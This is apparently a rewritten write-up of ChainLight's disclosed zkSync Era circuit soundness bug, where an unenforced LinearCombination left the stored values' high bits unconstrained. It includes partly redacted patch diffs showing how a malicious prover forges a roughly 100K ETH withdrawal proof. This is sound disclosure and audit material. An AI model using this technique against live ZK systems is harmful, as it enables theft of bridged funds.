zkSync Era
A soundness bug in zkSync Era's ZK-circuits allowed a malicious prover to produce proofs for invalidly executed blocks that the verifier smart contracts on Ethereum would accept. This could let an attacker forge withdrawals, potentially stealing large amounts of ETH.
medium.com
Published on medium.com
Web3
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
zkSync Era is a ZK-powered scaling solution for Ethereum, built by Matter Labs, and at the time of writing the most used L2 by transaction volume. Its execution environment, the EraVM, is a type-4 ZK-EVM: it accepts the same high-level languages as the EVM (Solidity, Yul, Vyper) but compiles to a custom instruction set. The EraVM is register-based rather than stack-based, has two heaps (the heap and the aux heap), and tracks whether each 256-bit value is a pointer into another heap through a "fat pointer" flag. Inter-contract calls carry no value, so ETH transfers are handled by system contracts running in kernel mode: L2EthToken tracks and moves balances, and MsgValueSimulator performs the ETH transfer and then a mimic call so the callee sees a direct call.
Two implementations of the EraVM matter here. The zk_evm repo is the out-of-circuit implementation used by the sequencer and other nodes, and by the prover to produce the execution trace used as witness data. The sync_vm repo is the ZK-circuit implementation that produces the constraints which are proven and verified on Ethereum. L2s that use validity proofs store their state roots on L1 and verify a proof of validity for each state root through a smart contract, so a soundness error in the circuits lets a malicious prover produce a "proof" for an invalidly executed block that the L1 verifier accepts.
The circuits are split by responsibility and aggregated recursively into a single proof. Two circuits are central to this bug: the Main VM circuit, which constrains the sequence of instructions and the inputs and outputs of basic instructions and emits a queue of partially constrained results, and the RAM Permutation circuit, which checks that the memory queue produced by the Main VM and other memory-accessing circuits is self-consistent.

Because memory can also be written by operations handled in other circuits, such as code de-commitment and Keccak hashing, the Main VM cannot constrain reads on its own. Every read or write is appended to the memory queue as a MemoryQuery recording the timestamp, the memory page and index, the read/write flag, the value and whether the value is a pointer:
pub struct MemoryQuery<E: Engine> { pub timestamp: UInt32<E>, pub memory_page: UInt32<E>, pub memory_index: UInt32<E>, pub rw_flag: Boolean, pub value: UInt256<E>, pub value_is_ptr: Boolean,}
A store is constrained by placing the source register value into a write query and appending it. A read loads a witness value into the register and appends a read query with the claimed value. The RAM Permutation circuit then takes the committed queue and a witness queue constrained to hold the same set of queries sorted by (memory_page, memory_index, timestamp), and checks consistency by walking the sorted queue once and comparing adjacent elements:
if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) { assert!(cur.rw_flag || cur.value == prev.value);} else { assert!(cur.rw_flag || cur.value == 0);}
Equality of the two queues as sets is enforced with a permutation argument.
Setup
No accounts, roles or special tooling are described. The work was a source review of the zkSync Era circuits, followed by a proof-of-concept built by patching both EraVM implementations. The report notes that, given the security layers in place, it would be difficult for anyone other than Matter Labs to pull the exploit off; an outside attacker would need to compromise the backend or steal the validator private key.
Finding it
The MemoryQuery above is a simplification. In the queue, queries are converted to RawMemoryQuery:
pub struct RawMemoryQuery<E: Engine> { pub timestamp: UInt32<E>, pub memory_page: UInt32<E>, pub memory_index: UInt32<E>, pub rw_flag: Boolean, pub value_residual: UInt64<E>, pub value: Num<E>, pub value_is_ptr: Boolean,}
The 256-bit value is split because the bn254 curve used in the circuits can only reliably store 253 bits in one field element. UInt256<E> internally holds four Uint64<E> values, each in its own Num<E>. In a RawMemoryQuery, value holds the lower 192 bits and value_residual the upper 64 bits. For efficiency the query is packed into two Num<E> values:
impl<E: Engine> RawMemoryQuery<E> { pub fn pack<CS: ConstraintSystem<E>>( &self, cs: &mut CS, ) -> Result<[Num<E>; 2], SynthesisError> { let shifts = compute_shifts::<E::Fr>(); let el0 = self.value; let mut shift = 0; let mut lc = LinearCombination::zero(); lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]); shift += 64; lc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]); shift += 32; lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]); shift += 32; lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]); shift += 32; lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]); shift += 1; lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]); shift += 1; assert!(shift <= E::Fr::CAPACITY as usize); let el1 = lc.into_num(cs)?; Ok([el0, el1]) }}
cs is the ConstraintSystem threaded through the circuit code to accumulate constraints; a function is expected to produce constraints if and only if it takes cs. pack returns [el0, el1], with el0 taken from self.value and el1 built by packing the remaining fields into one Num<E>. compute_shifts::<E::Fr>() computes (1 << i) for 0 <= i <= 253 as constant field elements and produces no constraints itself. el1 is a LinearCombination of the form a_0 v_0 + a_1 v_1 + … + a_n v_n with constant coefficients and circuit variables, using shifts to place each field in a non-overlapping region of the 253-bit value, and lc.into_num(cs) stores the result in a new variable. This packing looks sound.
The construction of the RawMemoryQuery is where the problem lies. A memory write builds a MemoryWriteQuery and converts it:
let MemoryLocation { page, index } = mem_loc;let memory_key = MemoryKey { timestamp: mem_timestamp_write, memory_page: page, memory_index: index,};let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;...let raw_query = write_query.into_raw_query(cs)?;...
Here value is a Register<E>, which stores a 256-bit value as two UInt128<E>s:
pub struct Register<E: Engine> { pub inner: [UInt128<E>; 2], pub is_ptr: Boolean,}
from_key_and_value_witness splits the register into (lowest_128, u64_word_2, u64_word_3) using another LinearCombination:
pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>( cs: &mut CS, key: MemoryKey<E>, register_output: Register<E>,) -> Result<Self, SynthesisError> { let [lowest_128, highest_128] = register_output.inner; let tmp = highest_128 .get_value() .map(|el| (el as u64, (el >> 64) as u64)); let (u64_word_2, u64_word_3) = match tmp { Some((a, b)) => (Some(a), Some(b)), _ => (None, None), }; let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?; let u64_word_3 = UInt64::allocate(cs, u64_word_3)?; let shifts = compute_shifts::<E::Fr>(); let mut minus_one = E::Fr::one(); minus_one.negate(); let mut lc = LinearCombination::zero(); lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]); lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]); lc.add_assign_number_with_coeff(&highest_128.inner, minus_one); let MemoryKey { timestamp, memory_page, memory_index, } = key; let new = Self { timestamp, memory_page, memory_index, lowest_128, u64_word_2, u64_word_3, value_is_ptr: register_output.is_ptr, }; Ok(new)}
into_raw_query then stores u64_word_3 in value_residual and packs lowest_128 and u64_word_2 into value:
pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>( &self, cs: &mut CS,) -> Result<RawMemoryQuery<E>, SynthesisError> { let shifts = compute_shifts::<E::Fr>(); let mut lc = LinearCombination::zero(); lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]); lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]); let value = lc.into_num(cs)?; let new = RawMemoryQuery { timestamp: self.timestamp, memory_page: self.memory_page, memory_index: self.memory_index, rw_flag: Boolean::constant(true) value_residual: self.u64_word_3, value, value_is_ptr: self.value_is_ptr, }; Ok(new)}
The bug is in the LinearCombination inside from_key_and_value_witness:
let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
Unlike the other uses of LinearCombination, this one never produces constraints from lc. The coefficients suggest the intent is to constrain lc to zero, but that requires calling lc.enforce_zero(cs) or calling lc.into_num(cs) and further constraining the result. Neither happens, so the upper 128 bits of the resulting MemoryWriteQuery are unconstrained: a malicious prover can put any value there and the verifier still accepts the proof. In a correctly constrained circuit those bits would be forced to equal the bits of the Register<E>.
The team found this by pattern rather than by accident. ChainLight's own ZK-powered protocol for trustless historical Ethereum state access, Relic Protocol, is built on Matter Labs' circuit libraries, and they had previously hit this same LinearCombination footgun there. When they began reviewing the zkSync Era circuits, this was the first bug pattern they looked for. The bug was identified on 15 September and reported on the 19th.
Exploitation
The primitive is that a prover can arbitrarily change the high 128 bits of any value stored to memory by a store instruction without invalidating the proof. The chosen target is the L2EthToken system contract. Withdrawing ETH from zkSync Era back to mainnet runs:
function withdraw(address _l1Receiver) external payable override { uint256 amount = _burnMsgValue(); bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount); L1_MESSENGER_CONTRACT.sendToL1(message); emit Withdrawal(msg.sender, _l1Receiver, amount);}function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) { return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);}
This burns the ETH in msg.value and then sends an L2 to L1 message certifying the withdrawal. The goal is to burn a small amount on L2 while producing a message whose _amount field is much larger. _getL1WithdrawMessage encodes the message into a memory bytes array, which compiles to:
...add @CPI0_20[0], r0, r2 ld.1 64, r1 add 32, r1, r3st.1 r3, r2 shl.s 96, r4, r2add 36, r1, r3st.1 r3, r2 add 56, r1, r2st.1 r2, r5 add 56, r0, r2st.1 r1, r2 ...
Each st.1 stores a register into the heap at the given offset. Misaligned stores are allowed, and the EraVM translates them into two aligned MemoryWriteQuerys. Storing _amount therefore creates:
{ memory_page: CUR_HEAP_PAGE, memory_index: (r1 + 56) // 32, value: (uint256(_to) << 64) | (_amount >> 192)},{ memory_page: CUR_HEAP_PAGE, memory_index: (r1 + 56) // 32 + 1, value: (_amount << 64)}
Step 1: patch the out-of-circuit VM
The zk_evm implementation is edited so that when a write matches a magic value it rewrites the high bits:
- -- a/src/opcodes/execution/uma.rs@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> { (word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8); // add highest bytes into lowest for overwriting new_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));++ // see if we're writing 0x1337133713370000000000000000+ if new_word_0_value.0[1] == 0x133713371337 {+ // if so, instead write [redacted]+ new_word_0_value.0[2] = 0x152d;+ }+ // we need low bytes of old word and place low bytes of src1 into highest // cleanup highest bytes let mut new_word_1_value =
Step 2: patch the circuit implementation
The sync_vm implementation is edited in the same spirit, changing the witness value assigned to u64_word_2:
- -- a/src/vm/vm_cycle/memory_view/write_query.rs@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> { _ => (None, None),};+ let u64_word_2 = if let Some([redacted]) = lowest_128.get_value() {+ Some(0x152d)+ } else {+ u64_word_2+ };// we do not need to range check everything, only N-1 ut of N elements in LClet u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
This edit only changes the witness value assigned to the variable, so the constraints the circuit produces are unchanged, which is exactly what the unconstrained bits allow.
Step 3: run the withdrawal
With both patches in place, the sequencer/prover processes a withdrawal of the magic value 0x133713371337 wei (about 0.00002 ETH) and outputs a proven batch attesting that the recipient withdrew 0x152d0000133713371337 wei (about 100K ETH). The zkSync Era smart contracts accept the proof, after which the attacker can drain 100K ETH from the bridge. The full proof-of-concept is published in the chainlight-io/zksync-era-write-query-poc repository.
Root cause
A LinearCombination was built to relate the two halves of the high 128 bits of a stored value to the original register, but it was never turned into a constraint: no enforce_zero(cs) and no into_num(cs) followed by a constraint on the result. The upper 128 bits of every MemoryWriteQuery were therefore free witness data. The packing in RawMemoryQuery::pack is sound, and the RAM Permutation circuit faithfully checks consistency of whatever queries it is given, so neither catches the problem: the queue is internally consistent, it just contains a value the circuit never tied to the register.
Impact
A malicious prover can produce proofs for invalidly executed blocks that the L1 verifier accepts, and the report's concrete demonstration is inflating a withdrawal message so that a burn of about 0.00002 ETH attests about 100K ETH, drainable from the bridge. The report is explicit about the conditions. Given the security layers in place at the time, it would be difficult for anyone other than Matter Labs to pull the exploit off. An outside attacker would have to:
- Compromise the zkSync Era backend to inject the malicious code, or steal the zkSync Era validator private key.
- Execute the exploit.
- Wait out the 21-hour execution delay and hope the team does not freeze the protocol before the funds are withdrawn.
The execution delay makes practical exploitation difficult today, but the report notes that the chances rise significantly in a more decentralised future where an admin team less directly manages the protocol. Matter Labs deployed a fix and awarded ChainLight a 50K USDC reward, the first bounty claimed for a ZK-circuit bug in zkSync Era.
Fix
The report states that Matter Labs deployed a fix for the issue but does not describe the change. The report does not describe the deployed fix. The missing constraint is the one that would tie u64_word_2 and u64_word_3 to highest_128.
Variants to test
- Grep circuit code for
LinearCombinationvalues that are built and then dropped withoutenforce_zeroorinto_numplus a constraint. A positive result is a combination whose coefficients imply a relation (for examplea + b - c) but which never reaches the constraint system. - Look for
allocate_uncheckedon values that are later packed into a field element. A positive result is a value that is range-checked nowhere and whose bits are not otherwise constrained. - Audit every split of a 256-bit value into limbs across field elements (low 128 plus two 64-bit words, low 192 plus residual 64) and check that the reassembly is constrained, not just computed. A positive result is a limb that a prover can set freely while the proof still verifies.
- Check misaligned store handling, where one store becomes two aligned write queries, for partial constraints on either query. A positive result is a write query whose high bits are unconstrained, as here.
- Review system contracts that build L1 messages from memory, such as withdrawal encoders, as targets once a memory-write primitive exists. A positive result is a message field whose value comes from a store the prover can influence.
- Test the same pattern in other Matter Labs-derived circuit libraries, since the report notes the footgun had been encountered before in
franklin-crypto. A positive result is the same missing constraint in a shared helper.
What happened, in plain words
A team of security researchers called ChainLight found a flaw in the mathematical machinery that zkSync Era uses to prove its blocks are correct. zkSync Era is a system that runs transactions for the Ethereum blockchain, and it relies on special "proofs" to convince Ethereum that everything it did was honest. The flaw meant that someone running the zkSync Era software could create a proof for a block that did something wrong, and Ethereum's checking contract would still accept it.
In their demonstration, the researchers showed how a person could withdraw a tiny amount of ether (about 0.00002 ETH) from zkSync Era back to Ethereum, while the proof claimed they had withdrawn about 100,000 ETH. If that proof were accepted, the attacker could take 100,000 ETH out of the bridge that holds the funds.
The researchers found the bug on 15 September 2023 and reported it on 19 September 2023. The company behind zkSync Era, Matter Labs, fixed it and paid ChainLight a reward of 50,000 USDC. This was the first bounty claimed for a ZK-circuit bug in zkSync Era.

The rest of this article explains, from the ground up, what all of those words mean, how the researchers found the flaw, and how their demonstration worked. No prior knowledge of cryptography or blockchains is assumed.
Background
To understand the bug, you need a handful of ideas. We will build them up one at a time, starting with the most basic.
Validity proofs
A validity proof is a way for one computer to prove to another that it did a long calculation correctly, without the second computer having to redo the calculation. Think of it like a receipt from a very long shopping trip: instead of walking through every aisle again, you show a short receipt that anyone can check quickly.
The party doing the calculation is called the prover. The party checking the result is called the verifier. The proof itself must be small compared with the calculation, and it must be cheap to check.
Most modern systems of this kind use mathematics called ZK-STARKs or ZK-SNARKs, which is why people casually call these proofs "ZK-proofs". The word "ZK" stands for zero-knowledge, though the proofs used here are mainly about correctness rather than hiding secrets.
The correctness of the calculation is enforced by constraints. A constraint is a rule that the numbers in the proof must obey. These rules come from a ZK-circuit, which is a description of the calculation written in a form a computer can turn into constraints. If the circuit fails to constrain some part of the calculation, a dishonest prover can put whatever they like in that part and still produce a proof that passes. That failure is called a soundness error. Soundness, in plain terms, means "you cannot prove something false".
ZK-rollups and validiums
Blockchains are slow and expensive to use directly because every computer in the network repeats every calculation. That keeps everyone honest but limits how much the network can do. Validity proofs offer a way out: only one party does the heavy work, and everyone else checks a small proof.
In practice, these proofs are used to build second-layer blockchains, called L2s, that settle onto an existing first-layer blockchain, called L1. Ethereum is the L1 in this story, and zkSync Era is the L2.
An L2 that uses validity proofs does two things with smart contracts on the L1:
- It stores its state roots on the L1. A state root is a short fingerprint of the entire state of the L2, meaning all account balances and contract data at a given moment.
- It verifies a proof that the state root is the correct result of executing a batch of transactions.
L2s built this way are called ZK-rollups or Validiums.
ZK-EVMs
An EVM is the Ethereum Virtual Machine, the standard environment in which Ethereum programs (smart contracts) run. A ZK-EVM is an environment that behaves closely like the EVM but whose execution can be proven with validity proofs.
There are several kinds of ZK-EVM, differing in how closely they match Ethereum. The closest kind, called type-1, could in principle be used to scale Ethereum itself. Many projects make small adjustments to gain speed, and zkSync Era is one of those.
An L2 does not have to be a ZK-EVM, but the huge amount of existing Ethereum tooling and the large pool of Ethereum developers make it an attractive choice.
zkSync Era
zkSync Era is a scaling system for Ethereum built by Matter Labs. At the time of the report it was the most used L2 by transaction volume, with activity rivalling Ethereum itself, which makes it one of the most important pieces of infrastructure in the crypto space.
Matter Labs has always said that security is the most critical aspect of launching zkSync Era. They back this up with several layers of protection. These layers are sometimes called "training wheels", because they are seen as temporary measures for the early stages. As those layers are removed over time, the correctness of the proof system becomes paramount.
EraVM
zkSync Era's execution environment is called the EraVM. It is a type-4 ZK-EVM: it accepts the same high-level programming languages as Ethereum, such as Solidity, Yul and Vyper, but it compiles programs into its own instruction set rather than Ethereum's.
The EraVM is similar to the EVM but has some important differences:
- It is register-based, while the EVM is stack-based. A register is a small named slot inside the processor that holds a value; a stack is a pile where you can only add or remove from the top. The EraVM still uses a stack as temporary storage when it runs out of registers, but most instructions work on registers.
- It has two heaps. A heap is a region of memory used for temporary data and for passing data between contracts. The two heaps are called the heap and the aux heap.
- It tracks whether each 256-bit value is a pointer into another heap. Such a pointer is called a fat pointer, and the EraVM enforces rules about how fat pointers may be passed between contracts. This exists to imitate how Ethereum passes
calldata(data sent with a call) andreturndata(data returned from a call). - Calls between contracts do not carry a
value, so they cannot transfer ether directly.
To make up for that last difference, the EraVM uses system contracts that run in kernel mode, meaning they have permission to execute privileged instructions. Two of them matter here:
L2EthTokenkeeps track of ether balances and moves ether around.MsgValueSimulatorperforms the ether transfer and then makes a "mimic" call, so the receiving contract thinks it was called directly with ether attached.
The zkSync Era software has two separate implementations of the EraVM:
- The
zk_evmrepository: an ordinary program, outside the proof system, used by the sequencer (the node that orders and executes transactions) and by other nodes. The prover also uses it to produce a detailed record of execution, called a trace, which becomes the witness data fed into the circuits. Witness data is the private input a prover uses to build a proof. - The
sync_vmrepository: the ZK-circuit implementation, which produces the constraints that are actually proven and checked on Ethereum.
EraVM ZK-circuits
The EraVM circuits are complex, and they are the core technology behind the whole network. Because a single circuit always produces a fixed number of constraints, proving an unlimited amount of computation requires recursive circuits: circuits that verify proofs produced by other circuits. The work is also divided among many circuits, each responsible for a different part of the computation. In the end all the proofs are combined into one proof, which a smart contract on Ethereum checks.

zkSync EraVM Circuit Architecture (Source)
Two circuits matter for this bug:
- Main VM: it constrains the order of instructions, the inputs and outputs of basic operations such as arithmetic, and it produces a queue of results that are only partly constrained, to be finished by other circuits.
- RAM Permutation: it checks that the "memory queue", the list of memory operations produced by the Main VM and by other circuits that touch memory, is consistent with itself.
The memory queue
Memory can be written by operations handled in other circuits, such as code de-commitment (loading contract code) and Keccak hashing (Ethereum's hash function). Because of that, the Main VM circuit cannot check memory reads on its own. Instead, every time it reads or writes a value in memory, it appends the operation to the memory queue.
The memory queue is a list of MemoryQuery objects. Each one records four things:
- when the access happened, relative to other instructions (the timestamp)
- which memory was accessed (the page and index)
- whether it was a read or a write
- what value was read or written
pub struct MemoryQuery<E: Engine> { pub timestamp: UInt32<E>, pub memory_page: UInt32<E>, pub memory_index: UInt32<E>, pub rw_flag: Boolean, pub value: UInt256<E>, pub value_is_ptr: Boolean,}
Line by line:
pub struct MemoryQuery<E: Engine>declares a new data type calledMemoryQuery. The<E: Engine>part means it is generic over some engine typeE, which supplies the underlying mathematics.pub timestamp: UInt32<E>is a 32-bit number recording when the access happened.pub memory_page: UInt32<E>is a 32-bit number naming which page of memory was touched.pub memory_index: UInt32<E>is a 32-bit number giving the position within that page.pub rw_flag: Booleanis a true/false flag: true means write, false means read.pub value: UInt256<E>is the 256-bit value that was read or written.pub value_is_ptr: Booleansays whether that value is a pointer into another heap.
A store (a write to memory) is handled by taking the value from a register, putting it into a write query, and appending that query to the queue. A read is harder: the Main VM cannot know by itself what value sits at a given address, because other circuits can change memory. So it loads a value from the witness (the prover's private data), puts it in the register, and appends a read query claiming that value.
Once all the circuits have added their memory operations, the RAM Permutation circuit checks that the whole list makes sense. It takes two queues as input:
- the committed queue from the Main VM and the other memory-accessing circuits;
- a witness queue, which is constrained to contain the same set of queries but sorted by
(memory_page, memory_index, timestamp).
Sorting this way lets the circuit check consistency by walking the queue once and comparing each entry with the one before it:
if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) { assert!(cur.rw_flag || cur.value == prev.value);} else { assert!(cur.rw_flag || cur.value == 0);}
Line by line:
if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index)asks: is this entry about the same memory location as the previous one?- If yes,
assert!(cur.rw_flag || cur.value == prev.value);requires that either the current entry is a write, or its value equals the previous value. In other words, a read must return whatever was last written there. - If the location is different,
assert!(cur.rw_flag || cur.value == 0);requires that either the entry is a write, or the read returns zero, because nothing has been written to that fresh location yet.
The real code that produces these constraints is much more complicated than this sketch. For example, checking that the committed queue and the sorted queue contain the same elements is done with a permutation argument, a standard technique in ZK-proofs for proving that two lists are the same items in a different order.
Bug details
With the background out of the way, here is the bug itself. As often happens, the problem is in the small implementation details.
The first detail is that the MemoryQuery shown above is a simplified version of what the queue really holds. In practice, queries are converted into a RawMemoryQuery:
pub struct RawMemoryQuery<E: Engine> { pub timestamp: UInt32<E>, pub memory_page: UInt32<E>, pub memory_index: UInt32<E>, pub rw_flag: Boolean, pub value_residual: UInt64<E>, pub value: Num<E>, pub value_is_ptr: Boolean,}
Line by line:
- The first four fields are the same as before: timestamp, page, index and read/write flag.
pub value_residual: UInt64<E>is a new 64-bit field holding the top part of the value.pub value: Num<E>is now a single field element holding the lower part of the value, instead of a full 256-bit number.pub value_is_ptr: Booleanis unchanged.
The value was split because of a limit in the mathematics used. The circuits use an elliptic curve called bn254, and a single field element on that curve can only reliably hold 253 bits. A 256-bit value does not fit. Internally, UInt256<E> stores the value as four 64-bit pieces, each in its own field element. In a RawMemoryQuery, the value field holds the lower 192 bits and value_residual holds the upper 64 bits.
For efficiency, the RawMemoryQuery is then packed into two field elements before being appended to the queue:
impl<E: Engine> RawMemoryQuery<E> { pub fn pack<CS: ConstraintSystem<E>>( &self, cs: &mut CS, ) -> Result<[Num<E>; 2], SynthesisError> { let shifts = compute_shifts::<E::Fr>(); let el0 = self.value; let mut shift = 0; let mut lc = LinearCombination::zero(); lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]); shift += 64; lc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]); shift += 32; lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]); shift += 32; lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]); shift += 32; lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]); shift += 1; lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]); shift += 1; assert!(shift <= E::Fr::CAPACITY as usize); let el1 = lc.into_num(cs)?; Ok([el0, el1]) }}
Line by line:
impl<E: Engine> RawMemoryQuery<E>starts an implementation block, meaning we are adding methods to theRawMemoryQuerytype.pub fn pack<CS: ConstraintSystem<E>>(&self, cs: &mut CS) -> Result<[Num<E>; 2], SynthesisError>defines a function calledpack. It takes a reference to the query itself and a mutable reference to a constraint systemcs, and it returns either an array of two field elements or an error.let shifts = compute_shifts::<E::Fr>();precomputes the powers of two (1, 2, 4, 8 and so on) that will be used to place each field in its own bit range.let el0 = self.value;takes the lower part of the value as the first output element, unchanged.let mut shift = 0;andlet mut lc = LinearCombination::zero();start a running total at zero. ALinearCombinationis an expression of the forma_0 v_0 + a_1 v_1 + … + a_n v_n, where theavalues are fixed numbers and thevvalues are variables from the circuit.- Each
lc.add_assign_number_with_coeff(...)adds one field, multiplied by the appropriate power of two, into the running total. Theshift += ...lines move the starting position forward by the width of the field just added, so the fields do not overlap. assert!(shift <= E::Fr::CAPACITY as usize);checks that everything still fits inside one field element.let el1 = lc.into_num(cs)?;turns the running total into a new circuit variable. This is the step that produces constraints tying the new variable to the inputs.Ok([el0, el1])returns the two packed elements.
This packing code looks correct. The problem is in how the RawMemoryQuery was built in the first place.
When the EraVM handles a memory write, it builds a MemoryWriteQuery and converts it:
let MemoryLocation { page, index } = mem_loc;let memory_key = MemoryKey { timestamp: mem_timestamp_write, memory_page: page, memory_index: index,};let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;...let raw_query = write_query.into_raw_query(cs)?;...
Line by line:
let MemoryLocation { page, index } = mem_loc;unpacks the memory location into its page and index.let memory_key = MemoryKey { ... };builds a key that identifies the write: when it happened, which page, which index.let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;creates the write query from that key and the value being written. The?means "if this fails, return the error".let raw_query = write_query.into_raw_query(cs)?;converts the write query into the raw form that goes into the queue.
Here value is a Register<E>, which stores a 256-bit value as two 128-bit halves:
pub struct Register<E: Engine> { pub inner: [UInt128<E>; 2], pub is_ptr: Boolean,}
Line by line:
pub struct Register<E: Engine>declares the register type.pub inner: [UInt128<E>; 2]holds two 128-bit numbers, which together make up the 256-bit value.pub is_ptr: Booleansays whether the value is a pointer.
Now look at from_key_and_value_witness, which splits the register into three pieces: lowest_128, u64_word_2 and u64_word_3.
pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>( cs: &mut CS, key: MemoryKey<E>, register_output: Register<E>,) -> Result<Self, SynthesisError> { let [lowest_128, highest_128] = register_output.inner; let tmp = highest_128 .get_value() .map(|el| (el as u64, (el >> 64) as u64)); let (u64_word_2, u64_word_3) = match tmp { Some((a, b)) => (Some(a), Some(b)), _ => (None, None), }; let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?; let u64_word_3 = UInt64::allocate(cs, u64_word_3)?; let shifts = compute_shifts::<E::Fr>(); let mut minus_one = E::Fr::one(); minus_one.negate(); let mut lc = LinearCombination::zero(); lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]); lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]); lc.add_assign_number_with_coeff(&highest_128.inner, minus_one); let MemoryKey { timestamp, memory_page, memory_index, } = key; let new = Self { timestamp, memory_page, memory_index, lowest_128, u64_word_2, u64_word_3, value_is_ptr: register_output.is_ptr, }; Ok(new)}
Line by line:
- The function signature says it takes a constraint system, a memory key and a register, and returns a new write query or an error.
let [lowest_128, highest_128] = register_output.inner;splits the register into its two 128-bit halves.let tmp = highest_128.get_value().map(|el| (el as u64, (el >> 64) as u64));reads the actual numeric value of the upper half (if known) and splits it into two 64-bit pieces.- The
match tmp { ... }block turns that into two optional 64-bit values,u64_word_2andu64_word_3. let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;creates a circuit variable for the second word. The word "unchecked" means no range check is performed, so the circuit does not verify that it really fits in 64 bits.let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;creates a circuit variable for the third word, this time with a range check.let mut minus_one = E::Fr::one(); minus_one.negate();creates the constant minus one.- The three
lc.add_assign_number_with_coeff(...)lines build the expressionu64_word_2 + (u64_word_3 << 64) - highest_128. In words: the two 64-bit words, put back together, should equal the original upper 128 bits. - The rest of the function simply packages the pieces into a new
MemoryWriteQueryand returns it.
Then into_raw_query stores u64_word_3 in value_residual and packs lowest_128 and u64_word_2 into value:
pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>( &self, cs: &mut CS,) -> Result<RawMemoryQuery<E>, SynthesisError> { let shifts = compute_shifts::<E::Fr>(); let mut lc = LinearCombination::zero(); lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]); lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]); let value = lc.into_num(cs)?; let new = RawMemoryQuery { timestamp: self.timestamp, memory_page: self.memory_page, memory_index: self.memory_index, rw_flag: Boolean::constant(true) value_residual: self.u64_word_3, value, value_is_ptr: self.value_is_ptr, }; Ok(new)}
Line by line:
- The function takes the constraint system and returns a
RawMemoryQuery. let shifts = compute_shifts::<E::Fr>();precomputes the powers of two.let mut lc = LinearCombination::zero();starts a running total at zero.- The two
add_assign_number_with_coefflines buildlowest_128 + (u64_word_2 << 128), which puts the two pieces side by side in one number. let value = lc.into_num(cs)?;turns that into a circuit variable, producing constraints.- The
RawMemoryQuery { ... }block builds the result: the timestamp, page and index are copied over,rw_flagis set to true because this is a write,value_residualisu64_word_3,valueis the packed number, and the pointer flag is copied.
So where is the bug? It is subtle. Remember the rule of thumb: a function produces constraints only if it takes the constraint system cs as an argument. Look again at the LinearCombination inside from_key_and_value_witness:
let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
Line by line:
let mut lc = LinearCombination::zero();starts an expression at zero.- The three
add_assign_number_with_coefflines build the expressionu64_word_2 + (u64_word_3 << 64) - highest_128.
Unlike the other places that use LinearCombination, this code never turns lc into constraints. The coefficients show the intent: the expression should be forced to equal zero, which would tie the two 64-bit words to the original upper 128 bits. But to actually produce that constraint, the code would have to do one of two things:
- call
lc.enforce_zero(cs), which adds a constraint saying the expression equals zero, or - call
lc.into_num(cs)and then add a constraint on the resulting value.
Neither happens. As a result, the upper 128 bits of the resulting MemoryWriteQuery are unconstrained. A dishonest prover can put any value in those bits, and the verifier will still accept the proof. In a correctly constrained circuit, those bits would be forced to equal the bits of the original register.
Discovery process
ChainLight is mostly known as an auditing firm, but it also built a ZK-powered protocol called Relic Protocol, which provides trustless access to historical Ethereum state. Its circuits are based on Matter Labs' circuit libraries, and the team had previously run into this same LinearCombination trap there. So when they started reviewing the zkSync Era circuits, this was the first bug pattern they looked for. They found the bug on 15 September and reported it on 19 September.
Exploit details
The bug lets a prover change the high 128 bits of any value stored in memory by a store instruction, without making the proof invalid. That could be abused in many ways, but the researchers picked a particularly easy target: the L2EthToken system contract.
Withdrawing ether from zkSync Era back to Ethereum runs this code:
